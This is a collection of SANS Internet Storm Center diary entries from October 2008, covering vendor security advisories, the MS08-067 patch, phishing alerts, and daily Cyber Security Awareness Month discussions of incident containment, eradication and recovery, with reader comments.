VMWare have released a new security advisory, and has updated two previously announced advisories.

Details are available via the VMWare web site:

- VMSA-2008-0017 (new advisory)
 http://lists.vmware.com/pipermail/security-announce/2008/000039.html

Summary : A denial of service flaw was found in the way libxml2 processes certain content. If an application that is linked against libxml2 processes malformed XML content, the XML content might cause the application to stop responding.

CVE Reference: CVE-2008-3281

Summary: A flaw was found in the way ucd-snmp checks an SNMPv3 packet's Keyed-Hash Message Authentication Code. An attacker could use this flaw to spoof an authenticated SNMPv3 packet.

CVE Reference: CVE-2008-0960

Summary: Multiple uses of uninitialized values were discovered in libtiff's Lempel-Ziv-Welch (LZW) compression algorithm decoder. An attacker could create a carefully crafted LZW-encoded TIFF file that would cause an application linked with libtiff to crash or, possibly, execute arbitrary code.

CVE Reference: CVE-2008-2327

- VMSA-2008-0014.3 (updated advisory)
 http://lists.vmware.com/pipermail/security-announce/2008/000040.html

This is an updated advisory which impacts a wide range of VMWare products (both desktop and server), and covers 16 CVE's.

- VMSA-2008-0011.3 (updated advisory)
 http://lists.vmware.com/pipermail/security-announce/2008/000041.html

This is an updated advisory which ESX products only, but covers 9 CVE's

These advisories list security issues that have been fixed in the patches for ESX 2.5.4, ESX 2.5.5., ESX 3.0.2 and ESX 3.0.3 released on 30th October.

Happy Halloween and welcome to Day 31 of Security Awareness month.  Today is the last day of our recovery week but before we head off into November and our Lessons Learned Days we have one more problem for you to ponder.

Today we are concerned with the legal issues that you may need to consider as you are wrapping up the incident.  These could be based in compliance, or regulatory, breach notification, or other legal considerations.

Now over to you...what legal issues do you need to consider as part of incident recovery?  Have you planned ahead to ease the legal reporting?

 As usual please submit your ideas, and comments via our contact form and we will publish them throughout the day.

 Once again, thank you for your ideas and comments...

One astute reader points out...

"The time to consider legal issues is not when you are "wrapping up" an incident. When a security incident is declared (however your team does so) legal should be in the loop from the beginning. Our legal counsel sits in on our CSIRT meetings and there are specific questions that need to be answered within the first 60 minutes of an event as part of our CSIRT SLA.. Discussions about reporting or disclosure requirements, when and how to notify partners, etc. should be known upfront and handled according to a prepared plan. This doesn't mean that there won't be modifications required to fit particular incidents but thinking about these things at the tail end of an incident is a recipe for unhappiness."

another amazing reader commented...

"One thing that should be outlined in anyone's incident response plan is how they're going to handle the data, even before they start any investigation. Especially in criminal cases, if the evidence is not forensically sound or the chain of custody doesn't exist, the evidence is often inadmissable. Improper collection methods are very often used to get evidence removed from cases. OJ's defense attorneys successfully attacked the collection methods of the evidence - the same is true of electronic data. Consider this: If all of the logs/data related to the incident are inadmissable, will you have much of a case against an individual?

Chain of Custody can not be emphasized enough. If you start collecting data for purposes of potential legal action, maintain strict logs, including who collected the data, how it was collected, where it was found, where it is stored, who has accessed it, etc. You can't over-document in this area. Also be sure to restrict access to any of this information - put the information on a removal drive and lock it in a secure location, don't just save it to a network drive where others could, in any way, access it without it being logged. You can be called to testify to the extent of your expertise, collection methods, and to the authenticity of the data. I've watched well seasoned IT professionals crumble under the scrutiny of a good attorney under questioning. One individual would likely have given an arm to have logs of his data collection.

It is often in your best interest to get a certified computer forensic examiner involved. These professionals have the training and knowledge to properly preserve data and ensure it's properly collected should legal actions arise.

In short, have your plan in place long before the incident occurs. You don't want to be contaminating evidence should you find reason to go to court over an incident. If all else fails, C.Y.A. - Call your attorney."

One of our readers from across the big pond pointed out...

"A common mistake I've seen is people trying to apply the legal system they're familiar with to other juurisdictions where legislation, regulations etc. are simply different, sometimes even based on different fundamental principles. If you're a multinational you'll need to take into account all legislation in all your locations into your policies. It's not that easy."

Rick

-- Rick Wanner rwanner at isc dot sans dot org

Several readers have reported that late this afternoon Sprint appears to have depeered Cogent, isolating Cogent from the Internet.  We haven't got a lot of concrete details at this time, but will continue to monitor the situation.

-- Rick Wanner rwanner at isc dot sans dot org

In addition to making malware and vulnerability intelligence actionable for the system administrator, there is also the problem of making intelligence actionable to victims and law enforcement. >

There are three different players in this scenario: the researcher, the victim, and the law enforcer.

This is nice and simple, right? Except that there are limitations in how these three players are allowed to communicate and cooperate. Researchers can only talk to law enforcers on a “intelligence only” basis. Law enforcers can’t build cases without victims. Victims don’t always know that they’re victims or that their case, when added to others’ can actually have an impact.

There are a few forums that attempt to link these three groups.  They still need some development. 

If you’re a home-user or small business, consider reporting to the Internet Crime Complaint Center (http://www.ic3.gov.)   If you are a larger organization consider joining one of these information-sharing forums.

Eagle-eyed reader Juha-Matti reports that Opera has released a security update to 9.62: http://www.opera.com/docs/changelogs/windows/962/

This update addresses the following issues:

Advisory: History Search can be used to execute arbitrary code: http://www.opera.com/support/search/view/906/

Advisory: The links panel can allow cross-site scripting: http://www.opera.com/support/search/view/907/

The latest version is available here: http://www.opera.com/download/

A few readers are writing in to ask about two recent updates appearing in their queue: KB957200 and KB953155.

KB957200 is listed as a reliability update and according to Microsoft: "this update resolves some performance and reliability issues in Windows Vista. By applying this update, you can achieve better performance and responsiveness in various scenarios. After you install this item, you may have to restart your computer."

KB953155 is a security update related to MS08-067.

Today's topic revolves around applying patches and updates as a response measure.

My first personal comment is that patching and updating is really a Preparation step and helps avoid incidents in the first place.  But we all already knew that. :-)  I'm interested in how your patching and updating process differs when you've had an incident before patches become available.

Reader comments to follow...

For those of you that are Enom registrars - here is a little heads up.  It appears that there are some bad guys out there trying to get your valuable information. 

garwarner.blogspot.com/2008/10/caution-enom-phishing-continues.html

Please always use good judgement when dealing with email.  

Can you believe it - we are already on day 29?  This month has gone very fast and we are scurrying to the end of the road.

Today's question is Should I Switch Software Vendors? 

This topic was a bit perplexing to me when I first read it.  As I began to think about the question in the realms of Recovery, I began to ponder the answer. 

If we are talking about OS's - does it really help to switch software vendors?  Does it really solve anything?  Is one company really any better than the others?  And how much of the problem was caused by us and our failure to perform the recommended updates, security patches, and close the holes as recommended by the vendor or the Security World? 

If we are talking about applications be it Security or Network Monitoring software that may be a different story. If the application you were using didn't perform as expected perhaps it is a good time to take a look at what the competition is offering.  However, again - we can't blame the application if we didn't do the vendor recommended updates.

There are so many different types of sooftware that could be discussed.  There are pro's and con's to all of them.  What works for me may not work for someone else in their environment.  Another concern that I would have is at the time of recovery - you may not have a lot of time to learn a new product.  This may lead to a failure in securing the system adequately. 

We would like to hear from our reader's.  What is your opinion on this question?  Should you switch software vendors and under what conditions? How do you decide what to switch too and how do you determine that it will be any better than what you were using?

Let us know what you think.

Update

We have received some really good feedback from some of our readers.  I thought I would share some of it.

From Glenn

One important thing to consider during a recovery is if changing any software directly impacts any policy compliance. Do you have product evaluation criteria, customer requirements or documentation requirements? Changing the software may fix a single issue but may open up a whole host of other issues which may knock you out of compliance.

Good DR planning, documentation and procedure will go along way. I think it's better to plan a software change when you are not in an emergency situation and you have time to think about the original requirements you had of your software and results you need.

From Gary K

Changing software vendors, in general is only a benefit if it offers a more robust security venue for your environment. Its not a cure all for all organizations, but it may benefit some. Should your environment need a change because it is tagged by a hacking group who normally can get in with much trouble?

Changing the Router/Firewall company/IOS will make a difference. But as a last line of defense, a software firewall and antivirus combo that works well with each other might be the trick. Dont forget - changing software may not be the issue - it may be the configuration of the software that may be the weakest link. It boils down to Risk Assessment, and budget.

From an anonymous contributor

In terms of InfoSec and Incident Response I seek to build all of the following into SLAs/contracts:

1. Active vendor availability - Real phone numbers answered by real human beings. Call centers in North America, with escalation pathways to product management/engineers when L1 "scripts" are insufficient. I live and work in North America. I expect vendor Support and Response to clearly speak and understand my language, fully understand my culture/customs and be "local" to me (as in be on the same continent). All of these things matter in the real world. The vendor must commit to supporting their products in virtualized operating environments.
2. Active vendor participation - Bug/defect/scenario reporting can be very powerful in this era of virtualized operating environments. My SW licenses must include support for this option of defect reporting as a courtesy. If I can deliver a VM (or set of VMs) that reproduces a critical defect/bug with InfoSec implications, I expect the relevant SW vendors to accept delivery of those VMs and for them to carry on the chase into their lines of code and configuration matrices. No modern software runs in an isolated vacuum. Interoperability is a real-world need and competitive advantage. When more than one SW vendor is involved, I expect multiple SW vendors to co-operate in said BugHunt, across boundaries (company and code), in order to find mitigatations from all materially participating sides of the problem. This can be done without loss of proprietary IP and can be a win-win for all.
3. Active vendor accountability - Delivering timely working patches and/or work-arounds has to be the ultimate result.  ... If a vendor will not agree to mount "Best Effort" on all three fronts, I will not recommend, specify or buy from them. If specific terms of compliance/performance are not carried out in practice, there will be contingency agreements for refunds, credits and/or termination without penalties.

From Chris

Very tough question to answer because it is environment specific. In general, there are two options that should be considered for every project that represent the ends of the spectrum: "do nothing" and "rebuild from scratch". In reality, what usually happens is somewhere in between. My opinion (again in general) is that OS switching is actually easier than most people make it out to be. There seem to be more religious and political reasons than pure technical reasons not to utilize multiple OSs. Well established, effective sys admin and patching procedures are adaptable between AIX, HP/UX, Linux, OS X, Solaris, Windows, etc. Each one has quirks. Each one has strengths and weaknesses. Effective network and sys admins can adapt to these quirks. The problem I have most often seen is that personal, political or <sarcasm> religious </sarcasm> preferences skew choices from objective decision making. Often, the choice is decided by what application is going to be run on that system. Relying too heavily on one OS may diminish the IT/Security group's ability to have choice in what products it elects to use. I think an interesting outgrowth of the singular OS culture is the "appliance" offerings from vendors. The vendors have accepted the OS maintenance (of usually Linux) in exchange for the ease of developing on (and controlling) their OS of choice.

Welcome to Day 28 of the SANS ISC's participation in the Cyber Security Awareness Month. Today's topic is how to avoid finger pointing and the blame game. During the recovery phase of the incident, some discussion about responsibility of the incident and fault start popping up, these discussions can become distractions to the recovery process and ruin morale.

Please write in if you have any ideas or tricks to

- Promote focus on handling the incident rather than the blame
- Avoid finger pointing to begin
- Stop the blame game in its track

Please let us know by using the contact form. We will update this diary throughout the day. Thanks!

 Keith Rosenberg wrote in with the following comment,

If IT promotes and maintains good relations with the users, they will be very willing to call the help desk when their machine is first infected with something and not after a week or more. Not blaming the user for the malware, they probably feel bad enough already, is one way to do this. While fixing their computer, at a moment when they are usually most interested, (re)educate them by going over the ways the user can help prevent malware infections.

Jax wrote in with the following comment,

A good technique for avoiding the blame game all together is not to refer to anything in a personal manner.
When refering to the IDS/IPS do not say the IDS section, say 'the sensors'.  Never refer to 'bob' at the firewall section, soley refer to 'the firewall'.
Avoid personalisation, avoid assigning gender and names, and thank everyone for their good work and continued support.  After all we are here for the incident resolution and recovery not to assign pitfalls.
Also never say lessons identified and lessons learned, because that automatically gets units on the back foot and defensive, because people learn and identify.
De-personalisation is the key, people work, help and resolve; they do their best with what they have got.  Which can be old, unsupported and on its last legs mearly held together by hope and duck tape.
We are the only people that can makes things better.  For inspiration I find the following quote from X-Files Season 4 Episode 19 (I think) works.
' There are extraordinary men and women and extraordinary moments when history leaps forward on the backs of these individuals, that what can be imagined can be achieved, that you must dare to dream, but that there's no substitute for hard work and teamwork because no one gets there alone; and that, while we commemorate the greatness of these events and the individuals who achieve them, we cannot forget the sacrafice of those who make these achievements and leaps possible'
That person, that team is you and your security/administration team.  We are one, there is no single point of failure, we all do our best and help each other for the good of the networks.

Paul Davis wrote in with the following comment,

Finger pointing and the "blame game" usually make an apperance when people feel threatened or the atmosphere of cooperation and team work has been removed.  There are a couple of pointers:
1) Be proactive before the situation occurs.  Make sure that everyone understands their role and responsilibities.  Build a matrix and identify the principle owner, the support groups and the influencers.  Include the matrix not just the technical aspects, but also the business owners, the data owners.  Walk everyone through the matrix so that they do understand what is expected from them and what they can expect from others.  Makes things much easier.
2) During the incident.  There will be times when stress levels rise and people emotions get in the way.  In those situations, you need to have an experienced leader who can recognize the signs, defuse tense situations and understand how to drive to a solution.  They dont have to be pure  security gurus but they do have to have business, technical, people skills and a level of security understanding.  Some of the tricks I have used is to seperate the groups, take 5 min breaks, change the paradaigm to get them to think about the problem different.  But you also have to be tough, if someone makes a commitment to the team, make sure they understand what they are committing, that they accept the deadlines and also articulate their risks and concerns.  And hold them to that commitment.
3) Be available.  As an incident leader, people have to be able to contact you all the time. If someone has a concern but they dont want to voice it, make sure that they have a back channel of communication to you.  They make be embrassed, unsure and just paranoid, but sometimes those concerns can be "incident breakers".
4) Keep your priorities in focus.  If your number 1 priority is to protect a business or people, then make sure the group keeps the same focus.  Don't let technical curiosity get in the way of recovering a business or to protect one or more people.

There are many more but the primary success factor for me has been being prepared.  Investing time and effort, so that you can handle the unexpected.

Francois wrote in with the following comment,

Working with end users, in training I've always beat the drum on two issues.

First, if there's any doubt about a situation, whether a virus or any security issue, I tell users to always call support. I tell them, make it an IT issue, not your issue. IT will take responsibility for it. My philosophy is that any security that depends on the end-user is a recipe for failure. People make mistakes and end users cannot be expected to manage security concerns. If a user does get a virus, the controls - and responsibility - fall squarely on the security team.

Second, I always tell end users they will never, ever be penalized for reporting a security concern. No matter whose fault it is, no matter if it's valid or not. In fact there should be some sort of reward for users that are proactive. E.g., in the next meeting or training, "Thank you to Joe for contacting us instead of opening that suspicious e-mail, good job."

If the user violated company policy by committing the breach - that, perhaps, deserves a penalty, and should be handled with discretion. But reporting the issue should never be penalized.

Dave wrote in with the following comment,

As IT manager in our organization, I explain that our team function is to identify a problem, find it's cause, and then determine a resolution.  I explain that we should not care who may be at fault, or who may be to blame - that is for upper management to decide and act on.  It is our responsibility to determine and then remedy so that it does not occur again in the future.

Any other energy spent on things outside our goal strategy is both wasteful and counterproductive and means the team will have to work longer and later to accomplish our real task.  This would cause a delay in accomplishing our task, and this delay could also be perceived by upper management as a lack of performance and efficiency on our part, thus hurting the reputation of our team and putting us at fault.

I have only had to put it this way to the team once, and it has never come up again.

Leonard wrote in with the following comment,

Lay your cards on the table:

This is what I see or my devices show this.  The ask if they see any errors or omissions in what you have and ask them what they see on their devices.  Be prepared to troubleshoot with them and monitor your devices to interactively work on the issue.

Over time some it will get easier as people know you will work with them to solve the issue.

David Longenecker wrote in with the following comment,

It seems simplistic, but one of the strongest ways we as incident handlers can minimize finger pointing is by steering discussions toward mitigating the problem at hand.  Speaking from a leadership role, our teams will follow our example, and frankly many incidents are simply so chaotic that if we move on to mitigation, the blame game just gets forgotten and left behind.

The second half of the equation though is knowing there will be time to root cause the situation later.  In my organization, we have a well-established process of handling the event, then dealing with the root cause in a post-mortem fashion.  Stakeholders know they will have an opportunity to go after the original cause after the incident is resolved, and thus are quite willing to forego the blame game.

As a side note, human errors are dealt with sensitively, among only those that need to know.  Our culture is that it serves no purpose to publicly humiliate someone, even for gross negligence (although in a case of gross negligence, the person may not be working for us next week.)

The second day in our "recovery" phase: A system isn't exactly "safe" after the malware is removed. What you actually need to figure out is how the system got compromissed in the first place, and how to prevent a future compromisse. As already pointed out, just removing the malware will just get you back to getting exploited again.

What software and what tricks do you use to:

• make sure the vulnerability was remidiated?
• acertain some level of confidence that the malware didn't leave behind any backdoors?
• Nessus, a popular vulnerability scanner, has recently changed licenses. Did this affect you (or not)? Are there any alternatives?
• How do you continually monitor systems as new vulnerabilities and patches are released all the time.
   

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute

Our old friend Juha-Matti Laurio has created a FAQ on the MS08-067 RPC vulnerability. The FAQ goes a long way to clearing up some of the disinformation circulating about this vulnerability and the associated malware.

The FAQ can be found over at the SecuriTeam blog.

-- Rick Wanner rwanner at isc dot sans dot org

You've identified the incident, contained the exposure, eradicated the problem, and now...Welcome to Recovery week!

Every security professional knows that reliable backups of critical systems are vital to the long term succes of your business.  Every organization big or small, should have a backup strategy and should regularly test their backup and recovery process to ensure it will work when it is finally needed.

Today on Day 1 of recovery week we want your tips, tricks and advice on the topic of restoring from backup. If you have any ideas, war stories, or anecdotes, please send them to us via our contact page. Please, be sure to put something in the subject like "Day 26 - " to make it easier for us to sort them. I will update this diary with your comments and thoughts throughout the day.

-- Rick Wanner rwanner at isc dot sans dot org

Today is the last day on Eradication Phase. The topic is "Finding and Removing Hidden Files and Directories". What are your tools or steps to detect, discover and possible recover hidden files and directories, be it on Windows, Unix or Mac OS platform?

Let share your valuable knowledge with the rest. Send to us via our contact form and we will update for everyone. Thanks.

Update:
Our reader, Greg, shares with us one of his tools he uses to fight malware on Windows: Eset Sysinspector.
 

You may have noticed that the ISC Infocon was raised from Green to Yellow. This was to highlight the increased level of threat from MS08-067.

We have just moved back to green. This is not because of any lowering of threat, but to return to our normal steady state. People use the INFOCON level as a matter of understanding what is going on with the Internet and security as a whole.

If you see it raise again over the weekend, you'll know its gotten a whole lot worse.

Welcome to Day 24 of the SANS ISC's participation in the Cyber Security Awareness Month. Today's topic is what you have to do when you have a virus or other such malware attack sat in your e-mail queue, or already on your clients as you did not get AV coverage soon enough.

Today of all days is the ideal time to discuss this issue. WIth MS08-067 being at the front of everyones workload at the moment, what are your plans to clean your e-mail systems should the current batch of malware get through your edge defences?

If you have any tricks or tips on how to overcome this issue, or do you just purge your queues and take the hit, let me know via the contact form and I'll update the diary through the day.

Updated:

As reported earlier this morning, Microsoft released a critical update today for Windows Operating System.  The update addresses a vulnerability with RPC calls which can be referenced from SMB connections.  As most of you remember, worms such as Blaster and its kin were able to propagate through RPC/DCOM vulnerabilities and is in a very similar area of code.  Microsoft has detected limited, targeted attacks exploiting this flaw in the wild.  It is expected that with the release of the update, much more of the hacker community will become aware of how to exploit this and create a major worm outbreak.
 

More information is available at  www.microsoft.com/technet/security/Bulletin/ms08-067.mspx

Original Post: 2008-10-23 12:16:16 UTC

Microsoft has just released an advance notification of an out-of-band update to be released on 23rd of October.  They will hold a special webcast on the 23rd at 1:00 pm PT  to discuss the release.  The patch will be released at 10.00 am.

The information in the bulletin mentions a remote code exploit, but no further details are provided, however a restart will be required.

Microsoft rates the issue as critical for 2000/XP/2003 and important for vista/2008.

If we get more information we'll update this diary.

Mark

ps thanks to some very fast ISC supporters for letting us know.

If it's not installed, it can't be exploited.  It's as simple as that.

Does IIS really need to be running on that server?
Are you using SNMP to monitor that server?
Is File and Print Sharing (or Samba) necessary for that server to perform it's role?

Unused services are a sometimes overlooked avenue of exposure that all too often provides a surface to attack.

But how do you know what is "needed"?

Have you done the research for a file and print server? A web only server?  A mail server?
Do you use a published checklist?

Let us know how -you- know what services you do and don't need.

- Chris Carboni

One of our readers, David, wrote in to let us know that Opera has released version 9.6.1 for Windows which is a recommended security upgrade.  Some of the Opera rated "extemely and highly severe" issues fixed include revealing browser history and news feeds as well as a Fast Forward cross-site scripting vulnerability.  You can view the changelog here: http://www.opera.com/docs/changelogs/windows/961/

Mari Nichols     iMarSolutions

Hey everyone, sorry it has taken so long to get around to recording another podcast episode.  Travel schedules have been very crazy between us lately.  Anyway, enough excuses, here is episode eleven.  Thanks for all the emails asking me where it is!  :)  It helps to remind me....

All the podcasts

Just this podcast

Podcast through iTunes

-- Joel Esler http://www.joelesler.net

US-CERT has released information on two critical patches for F-Secure and Trend Micro security software.  As one of our readers, Roseman put it, time to keep your "keep-you-safe" software safe!  
 
Today, Trend Micro released patches affecting Office Scan versions 7.3 and 8.0.  The patches address a stack-based buffer overflow via HTTP request to server CGI modules. You can get further information about the respective patches here:

http://www.trendmicro.com/ftp/documentation/readme/OSCE_7.3_CriticalPatch_B1374_readme.txt

http://www.trendmicro.com/ftp/documentation/readme/OSCE_8.0_sp1p1_CriticalPatch_B3110_readme.txt
 

Yesterday, F-Secure released Security Bulletin FSC-2008-3 which addresses a RPM parsing vulnerability in which specially-made compressed file archives cancause an integer overflow.  This would apply if your program scans compressed files.  Read more about it here.

Mari Nichols    iMarSolutions

The last couple days we talked about getting rid of rootkits, spyware, bots and such. One common suggestion was to "wipe and rebuild". There are other reasons to wipe disks: Are you donating an old computer to charity? Better get rid of that data first! What are your procedures and tricks to quickly and securely erase data. With > 1TB disks on the horizon, the time it takes to erase a disk with "Boot and Nuke" is getting longer and longer.

In particular:

• multiple overwrites? myth or necessity
• physical destruction? shredding? demagnetizing? sledge hammer?
• drive firmware: how do you validate it after a compromise?
• USB disks, SIM cards and other "exotic" media.
• what distance do you keep to the disk on the range to avoid lead backsplatter? ;-)

-----
Johannes B. Ullrich, Ph.D.
SANS Technology Institute

Yesterday, we tackled the "mother of all malware", rootkits. Today, we are looking for you recipies to erradicate lesser evils: Bots, Keyloggers and Spyware. Of course, with the erradication of such malware, another important step is to determine the exact damage to the information on the system. What was altered by the bot? What was stolen?

As always, please use the comment feature below (you need to log in), or sent your comments and suggestions to our handler team via our contact form.

Update

The responses to this topic can be summarized as "you need to know what you got first".

In order to accurately identify malware added to your system, you need to know exactly what is supposed to be on your system in the frist place. Readers suggested tools like tripwire and aide. However, if you ever tried to use these tools, they quickly blow up if you don't have good change control. If you don't have change control, then these tools will drown you in false positives.

One reader suggested the use of backup tapes to find a "last known good version" of the system. But then again, the only way to know if that tape is not infected is to know what's supposed to be on the tape in the first place.

As with rootkits, the need to rebuild came up again. Rebuilding compromissed systems is still important. But you always end up importing some "tainted" data from backups. For example, you may restore a customer database from backups. But what if the root of the evil was a SQL injection flaw, and your database is now peppered with malicious javascript references?

Other responses focused on detection. I guess we can call it a consensus that anti-malware is not to be trusted. Network based detection, in particular looking for exfiltrated data and outbound firewall rules seem to work the best (in addition to the whitelist approach)

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute

Wireshark, our all-time favorite protocol analyzer, released a new version (1.0.4). The new version includes a number of security fixes. For details, see http://www.wireshark.org/news/20081020.html . 

Just by its nature of including a large number of protocol parsers, Wireshark is a somewhat risky program. To mitigate the risk, I personally prefer to collect traffic using a simpler program like tcpdump, and later analyze the traffic in wireshark using a low privilege account.

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute

Thanks to our reader Glenn for alerting us of this scheme: He received an automated phone call, telling him that his ATM card has been deactivated. The system then offered him to re-activate it. He didn't fall for it, and instead called his bank. His bank told him that they had multiple reports like that, and the calls are false.

Lessons learned:

• first of all, the bank should somehow identify itself by telling you something only they know. Your account number maybe?
• better: call them back at a listed number. Do not ask them what number to call. Usually, the fraudsters will use an automated system to call you, not a human (but they may).
• never provide confidential information like account numbers, social security numbers, PINs, passwords over the phone.

This event reminds me of one result our web-application honeypot project yielded so far: Attackers are actively looking for open VoIP web based admin interfaces like asterisk/trixbox/freepbx. Don't forget to secure them with passwords AND limit admin access to machines from your IP address space. It is likely that compromissed VoIP systems are used to launch these attacks.

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute

An anonymous reader wrote in today to let us know about the new capabilities Google added to its Webmaster Tools. Google plans to run some tests and alert webmasters if their site looks like it might have a security hole or be hackable. For example, if you are running a vulnerable version of WordPress as your blogging platform. From Google's post: This is a test, so we're starting out by alerting five to six thousand webmasters.

Definitely this is a good start and a great feature. I would love to see all ISP and hosting providers adding similar capabilities for their customers.

FYI, Google's Webmaster Tools is a free service for webmasters that provides info about Google's view of your website. You can get details about Googlebot interactions with your site, crawl issues, indexing details, links and top queries pointing to you, and even instruct Google how you would like to be crawled and what are your most important pages. The additional security capabilities added to this portfolio deserve a mention.

--
Raul Siles
www.raulsiles.com

Yesterday we started with the Eradication phase of the Incident Handling process. If the incident involves the usage of a rootkit, there is a first question that always needs to be answered:

To rebuild or not to rebuild, that is the question! ;)

One of the main internal ISC debates we had when we started planning the Cyber Security Awareness Month was discerning if today's and tomorrow's topics will lead to effective actions apart from rebuilding affected systems.

Almost a year ago we wrote about Family Incident Response,and provide a few links for rootkit detection tools. I took the opportunity to compile a good set of free Windows related tools at my personal blog, RaDaJo. Sometime ago, AV vendors started to add anti-rootkit capabilities to their main products, considering rootkits as another malware category. In fact, the key reason for this were the rootkit capabilities embedded in several malware specimens. On my post, I said something that I would like to ratify today:

Rootkits are one of the most complex and advanced malicious software components today, so the tools are mainly focused on the identification phase. The successful removal of a (kernel) rootkit from a system is often a really complex task.

When refering to the most prevalent type of rootkits today, kernel-based rootkits, the main issue is that even if you get full knowledge of the rootkit capabilities (imagine you are able to get a copy of its source code and had time to analyze it in-depth), the rootkit is hooked so deep in the system (at the kernel level) that the attacker was capable of performing any modification on the compromissed system. The main question in this real-world scenario is: Is it well worth to spend time trying to remove the rootkit and clean up the system versus rebuilding it from scratch?

Imagine an irreplaceable system was compromissed and a rootkit was installed. What methodology can you follow and what specific actions (and tools) can you take (and use) to eradicate the rootkit? There are a few situations were you can find yourself in this kind of scenario, dealing with high availability systems that have unique hardware components that cannot be easily installed on another node (for example, in the medical sector), or situations where a working backup is not available.

If you have been involved in incidents that required removing rootkits and have any anecdotes or ideas you can share, please send them to us via our contact page. Please, be sure to put something in the subject like "Security Tip, day 20" to make it easier for us to sort them. We will update this diary with your comments and thoughts throughout the day, so start sending them in.

--
Raul Siles
www.raulsiles.com

One of the more fun parts (if there can be one when dealing with a compromise) is figuring out what happened and how did it happen.  Fellow handler Mari Nichols already addressed the topic of Gathering Evidence That can Be Used in Court.  Now it's time to think about tools that can be used to aid in helping solve the mystery of what happened.  Forensics is a fun and fascinating field with many tools out there to choose from.  Do you prefer Open Source tools such as The Sleuth Kit (TSK) or perhaps a commercial version of a tool such as EnCase? 

However, let's don't restrict our thoughts to tools that deal with just computer hard drives.  So many devices are out there that lend themselves to being compromised or used in a compromise such as blackberries, printers, routers etc.  What tools do you use when doing forensics on these devices if they were used in the compromise or were perhaps compromised themselves? 

If you have a good suggestion for a tool that has served you well or lessons learned from one, please pass it along.  Also, if you have had to do forensics on a device, other than a typical computer harddrive and found a tool that worked, please pass it along as well!  Its a great opportunity to share and your experiences may be able to help someone else in a similar situation!

Once again, thanks to regular contributor Roseman for pointing out updates to some of the SysInternals tools.  The tools that have been updated are:

• Autoruns v9.35
• Process Monitor v2.01
• DebugView v4.76
• AccessChk v4.21

It looks like mostly bug fixes, but there are a couple of new features in there as well.

For those of you who are not familiar...SysInternals tools are free tools created and maintained by Mark Russinovitch and Bryce Cogswell and now owned by Microsoft. They are amazing tools which provide insight into the inner workings of Windows and are expecially useful to troubleshoot and diagnose the Windows operating System and Windows applications.

For more information on SysInternals tools or to download them view the Microsoft SysInternals website.

-- Rick Wanner rwanner at isc dot sans dot org

 I want to thank all the readers for all of the great ideas and feedback you have provided during the month
so far and especially this week.

So far this week you have addressed:
12 Gathering Evidence That Can be Used in Court
13 Containment on Production Systems Such as a Web Server
14 Containing a Personal IdentityTheft Incident
15 Containing the Damage From a Lost or Stolen Laptop
16 Containing a Malware Outbreak
17 Containing a DNS Hijacking

The comments and ideas from this week have been exceptional. Great work!

But as anyone who does incident handling knows, any incident you are familiar with or have planned
for is a lot easier than one you haven't. While this list addresses issues that are hot topics for today,
the list is barely a drop in the bucket for potential incidents.

Which brings us to today's question...containing other incidents?

Which incidents are on your radar and what plans do you have to contain them?
What other incidents have you run into in the last year or two, and what methods did you use to contain them?

Reader Scott sent in this insightful comment...

"As I was reading the article on containing other incidents, I was reminded of some advice pertaining to facility disaster plans. Do not create plans for every conceivable disaster. You could fill the library of congress with disaster plans for each disaster and still not cover all possibilities. Instead, create specific plans for disasters with high likelihood and create a general disaster plan to cover the unanticipated. In the general plan you must include reminders of specific unique attributes to your facilities so disaster commanders can make the snap decisions required. Write your plans for your successor, not yourself. You do plan to move on to bigger and better things, Right?"

-- Rick Wanner - rwanner at isc dot sans dot org

Our 17th topic for our October Cyber Security Awareness Month effort is Containing a DNS Hijacking.

Containment, as a part of Incident Response during DNS hijacking, is going to involve taking action/s to limit the identified impacts of the incident to your site. Under ideal circumstances, detailed DNS Hijacking containment actions are just one part of a previously approved response plan, and the actions would be tailored for your site.

Of course, the plans containment actions will have been tested and prioritized for whatever automatic or manual mitigation actions are available at your site.

Typically, the teams that would be involved in containment during a DNS Hijacking incident include your network team, system administrators, perhaps your Legal and PR department. In some instances ISP's, third party DNS or other service providers and government CERT's may be needed to achieve containment.

Network related manual containment options mentioned in IR plans can include the details to;

• Secure the systems under your control.
• Contact the owner/s and upstream provider of systems involved.
• Implement Network device configuration options including filtering, blocklisting and Null routing.
• Implement Firewall configuration options.
• Implement Security device configuration options.
• Invoke alternate DNS or other service provider arrangements.

Containment may also need to include Notification to customers - timely notification of impacts and other critical information.

Incident response containment effort is not static, you take actions, you collect and analyze more data, report, contain again, and repeat loop until you can get to the final three steps in IR.

Although preparation has been covered in previous Diaries, DNS Hijacking containment can involve many teams and containment options, and the containment process will rely heavily on your coordination with the other teams. Your reaction time is going to be dependent on your ability to communicate quickly with the other teams. Your plans details should include OOB communication details and a method ensuring that all parties have regularly received up to date information on the communication details.

Thanks for participating with us and keep those suggestions coming! "If you would like to submit a tip, please use our contact form and be sure to put something in the subject like "Security Tip, day 15" to make it easier for us to sort them.  Keep your tips brief and to the point, also remember that the audience is broad, including end users, sysadmins, and managers".

Containing a malware outbreak is topic 16 in Cyber awareness month.  This is one topic that is dear to all our hearts, how do you contain a malware outbreak?  What steps should you take to contain and prevent re-infestation?  and what measures do you have in place to detect malware on the network in the first place?

Sadly as we all know AV products on the market are not always effective.  Almost everyday we receive malware samples that are not detected by most of the AV products we have access to.  So you need some alternate methods of detecting that there is a piece of malware running around your network.   Some of the mechanisms I've used are fairly simple ones.   Monitor traffic to networks that do not exist inside the environment.  Any traffic to this subnet can't be good.  An internal IDS/IPS can flag anomalous traffic.  Some solutions can take action when they detect malware on the wire.  Monitor firewall logs for traffic to seemingly random locations on ports you are not familiar with is also a good idea.  Other sites keep lists of top internal talkers,  when they change they look for anomalous behaviour and take the appropriate action.   

To contain an outbreak people take different approaches.  Most people are pretty keen to get the device disconnected from the main network as fast as possible.  Easily achieved by pulling the network cable and sending junior over to deal with the issue.  However that may not always be an option.  I've seen other sites where the offending host is shunted onto a different VLAN (at some sites automatically when detected), where they can be inspected and "cleaned" using the various tools deployed.  Once deemed clean, they are placed back onto the internal network by reconfiguring the switch port.

Other organisations vary the theme and nuke the device from orbit.  One of the nicer sites I've visited recently shunt the machine onto a cleanup network and it is then re-imaged from a clean copy before being passed back to the user.  The whole process takes them about 30 minutes depending on the location.

